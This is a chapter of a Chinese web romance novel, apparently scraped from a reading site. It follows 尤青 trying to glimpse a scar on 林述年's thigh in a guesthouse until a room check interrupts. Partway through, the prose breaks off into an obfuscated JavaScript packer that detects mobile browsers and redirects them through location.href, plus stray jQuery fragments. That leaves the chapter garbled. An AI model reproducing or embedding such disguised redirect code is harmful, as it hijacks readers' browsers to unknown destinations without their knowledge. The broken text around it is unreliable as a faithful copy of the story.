53.{【

作品:《炮灰女配选夫记 [年代]

    尤青在房间里打了盆水,用毛巾把身上简单擦了擦。


    正是盛夏季节,晚上不洗洗总归黏糊糊的难受。


    刚躺下来闭上眼睛,突然又猛地睁开。


    这样千载难逢的机会,她怎么把那事儿给忘了!


    之前小键盘给过她的提示说,真正的男主,在大腿根处,有一个圆形的疤痕。


    她猛地从床上跳了起来,齐腰长发瞬间散乱在肩头。


    *


    【咚咚。】


    林述年刚擦洗完身子,正往身上套白色背心的时候,微不可察的敲门声响了起来。


    那声儿鬼鬼祟祟的,一看就不是正经人敲法。


    他双手随意将背心卷下至腰腹,望着陈旧木门的方向,滚动了下喉结。


    来者不善。


    【咚咚咚。】


    敲门声再次响起,示意门外的人等得已有些不耐。


    林述年呼了口气,发丝郁闷地翘起梢儿。


    将门打开一条缝,迎面是一张丝毫不让他意外的脸。


    他冷眼居高临下睨着门缝下方那张红扑扑的小脸。


    应当是刚洗过脸,发丝还湿漉漉地蜷在额前,更显得两只杏眼水灵灵亮晶晶的。


    “干嘛。”


    他冷冰冰地丢出一句。


    “我的房间老有怪声音……好怕……”


    尤青努力挑起下巴可怜巴巴看着林述年微钝的下巴颏,声音打着颤。


    “什么声音。”


    林述年皱了下眉头,堵住门的姿势纹丝未动。


    “就是……”


    尤青故作难为的抿抿唇线,一脸懵懂又羞于开口。


    他嘴角微微扯动,准备看她怎么扯。


    “就是隔壁的床老是晃动撞墙,还时不时响起猫儿叫似的痛苦声音,渗得慌——”


    尤青迅速抱起双臂揉搓,一副鸡皮疙瘩掉了一地的模样。


    林述年嘴角抽搐。


    如果可以,他是真不想秒懂。


    趁他走神的间隙,尤青滑头地弯下腰,从他支开的胳膊肘底下推门溜了进去。


    “喂你——”


    林述年大手一捞,一把勾住她如泥鳅一般滑手纤细的腰,刚要将她推出去,却听见斜对面的房间门把手转动的声音,多是有房客要出来。


    他做贼似的迅速将门掩了上去。


    后背紧贴着房门,怀里还揽着一只滑不溜丢不听话扭来扭去的泥鳅。


    听见脚步声渐远,林述年呼了口气。


    这要是被抓,两人的大名非得在清北大学的反面教材上留下“浓墨重彩”的一笔。


    尤青在他怀里掉了个个儿,径直面对面用两只灵巧的手紧紧环上他劲瘦的腰际,小巧的下巴抵在他心脏处,不怀好意地冲他挤了挤眼。


    手掌紧紧贴在他只穿了件背心的腰上,尤青第一次如此亲近的感受到他炙热的体温。


    今晚,不成功,便成仁。


    一定要确定他大腿根到底有没有圆形烫疤!


    她在心里给自己鼓劲加油。


    柔软微凉的手指在他的腰际摩挲,林述年的腰肌倏地绷紧,脊椎仿若有电流穿过,惊起一阵震颤。


    “你……注意影响。”


    林述年垂着眼睫瞪她,不自然地滚动下喉结,声音莫名嘶哑。


    尤青不满轻哼一声,更加收紧了双手。


    “注意影响注意影响,天天只有这句话,”她佯作生气撅起嘴巴,“人多的时候就算了,现在只有咱两,你就别做柳下惠了。”


    她抽出一只手,在他前面衬衫领口处悠闲画着圈圈。


    林述年不自觉紧张地舌尖紧顶上颚,看她作乱的手又往领口而去,急忙抬起双手将最上面的扣子扣紧。


    尤青鼓着腮帮,鼻腔再次发出一声轻哼。


    “赶紧回去。”


    林述年听见隔壁的人趿着鞋子回到房间关门的声音,推了她一把,示意她赶紧回房。


    “就不。”


    她在日光灯下愈加清丽的眉眼染上一层倔强,生生瞪着他,就是不撒手。


    “听话——”


    林述年知道她犟脾气一上来,十头牛也拉不动,只得放缓语气,一副商量的腔调。


    尤青垂着眼睫掐着腰不看他,腮帮气鼓鼓。


    林述年跟她僵持了几分钟,终于败下阵来。


    “那我去你房间,你今晚在这睡吧。”


    说完他便转身要去拧那门把手。


    “不行!”


    尤青霸道地揽过他的手臂紧紧贴在自己身侧,硬是将他往单人床上拽。


    “喂——”


    林述年一个不防备失去重心,同她一齐栽到床上。


    小木床年久失修,发出悠长的吱呀声。


    尤青趴在他身上,趁他还没反应过来,迅速跨坐他腰际之上,眼疾手快地去解他腰带。


    林述年被她震惊到瞳孔地震,不敢置信地平躺垂眸,看向她灵巧白皙的双手。


    “你都是从哪学的——”


    他眉心蹙得更紧,迅速将两手支在床上挺腰半坐起来,见她按向一边,气喘吁吁地将她按倒在自己身下,制止住她作乱的动作。


    尤青的脸也忙得红扑扑的,就那样用蒙了一层雾气微挑的杏眼瞧他。


    娇软、清润。


    不知怎么的,林述年突然想起那个从前差点给他下母猪配种药的尤青。


    他打了个激灵,一下子清醒起来。


    原先的尤青有这个想法,是因为那时的她孤立无助,听信了他人的谗言,差点对他用了歪路子。


    可眼下的尤青……


    经济独立,长相出挑,学历也是万里挑一。


    实在没有非得挂在他这棵树上的必要。


    明明他再也不是她唯一的浮木。


    那她……究竟是为什么要这样急着和他……


    林述年想得头疼也想不明白为什么。


    尤青见他出神,急忙垂眸扫了一眼已经松开的腰带,计从心来。


    “啊——蟑螂!”


    她吓得蹦了起来,一头撞在林述年的鼻子上。


    一阵剧痛从鼻尖传了过来,林述年也顾不得痛,只一脸懵圈地到处在床上找尤青口中的蟑螂。


    “啊啊啊,蟑螂爬进你裤子里了!”


    尤青吓得花容失色,指着他裤腿的手指夸张地颤着。


    林述年难得露出了惊讶的表情,也站起身来迅速抖动着裤子。


    就是现在!


    说时迟那时快,尤青迅速半跪在床上,用力地拽住林述年松开腰际的裤子,使尽吃奶的力气,咬牙扯紧他的裤腿拉扯下来。


    林述年瞪大了眼。


    真是小刀扎屁|股——开眼了。


    她就这么——急不可耐么!


    眼见棕色的裤子被她扯到了胯部,就要再往下滑去,林述年急眼了。


    他顺着尤青半跪的姿势也别开两条腿在她身侧跪到床上,手按在她的肩头不容反抗的将她推倒在床上。


    整个身体支在她的上方


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113387|154681||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    尤青依然紧盯着他大腿根部的位置。


    腰带松垮地掉在一侧,裤子掉在了□□,莫名有些诙谐的诱惑。


    只差一点,再来一点,她就可以确定要不要继续攻略他了!


    林述年顺着她执着的目光向下望去,不由得呼吸一凛。


    他松开一只按住她肩膀的手,钳住她的下巴,逼迫她与自己对视。


    尤青掀起眼皮,瘪着嘴角被迫看向他近在咫尺的眼睛。


    他好看的眼角平时偏圆钝感,此刻生气甩起脸来,竟有些让她悸动。


    林述年习惯性挑高右眉,胸膛微微起伏着,缓缓向她压低。


    “你就那么——”他自己意识到接下来要说的话,都自觉可笑地轻哼一声,“想跟我睡觉?”


    话尾的睡觉两个字从他的齿间用气音恨恨的蹦出后,气息痒痒的扑在尤青的脸颊之上,近在咫尺。


    “想。”


    尤青一脸真挚,用最清纯的唇瓣说着最大胆的话。


    睡不睡的不说,今晚这大腿根她是一定要看到!


    林述年皱着眉,眼睛眯着,一副辣眼睛的模样,拿她无可奈何地扭头呼了口气。


    “你——”


    林述年再次转过头来瞪她,决定今晚好好给这个丫头上一堂思想品德课。


    【咚咚咚!】


    “开门!查房!”


    *


    月朗星稀。


    一辆军用吉普车在招待所门口停了下来。


    两双军靴跳下吉普车。


    清亮的关门声在深夜响起。


    “不是我说,”一个疲惫到嗓音沙哑的男声响了起来,“段措你小子,硬是逼我把三天的回城路开成了两天,我这把老骨头都快跌散架了……你小子可真是见色忘友!”


    后勤老秦将头上的军帽拿下来,用另一只手可劲挠了挠发痒的头顶,连打了两个哈欠。


    “我这次主动申请跟您出来去邻市采买,不就是为了能得个空来清北大学见一下我对象吗?这都半年没见了,哪像您,嫂子就住在部队家属院,您见天儿的看,可是不知道我的苦……”


    段措压抑不住内心明天就能见到尤青的兴奋,连抱怨的话尾音都要飘到天上去了。


    “给,证件。”


    老秦将两人的证件递给招待所女服务员,转过头来又拍了拍段措的肩膀,嘿嘿一笑。


    “懂,都懂,咱也年轻过不是——”


    他冲段措挤挤眼睛,“明儿个你尽管和弟妹去玩,我在这招待所睡上他一天,平时家里孩子哭老婆叫的,他娘的俺就没睡过个踏实觉!嘿嘿——”


    女服务员红着脸将钥匙和证件递回给那个年长一点的老兵,透着木栅栏瞧那高大的新兵蛋子。


    “房号203和204。”


    长得可真精神!


    肩膀宽挺,眉弓如刃,浑身上下透露着真男人的气息。


    *


    老秦揽着段措的肩膀上了二楼,正巧碰到查房的男服务员在敲隔壁的房门。


    门缓缓打了开来。


    段措同老秦说笑着,不经意地往门内望了进去。


    正与一双再熟悉不过的眼睛正对上。


    他的眼睛里霎时浮上一抹惊喜之色。


    他乡遇故知,不过如此!


    “述年!你怎么在这儿?”


    他激动地推开查房的男服务员,径直冲上去紧紧抱住林述年,豪气地拍了拍他的肩膀。


    林述年愣怔在原地,吞了下口水。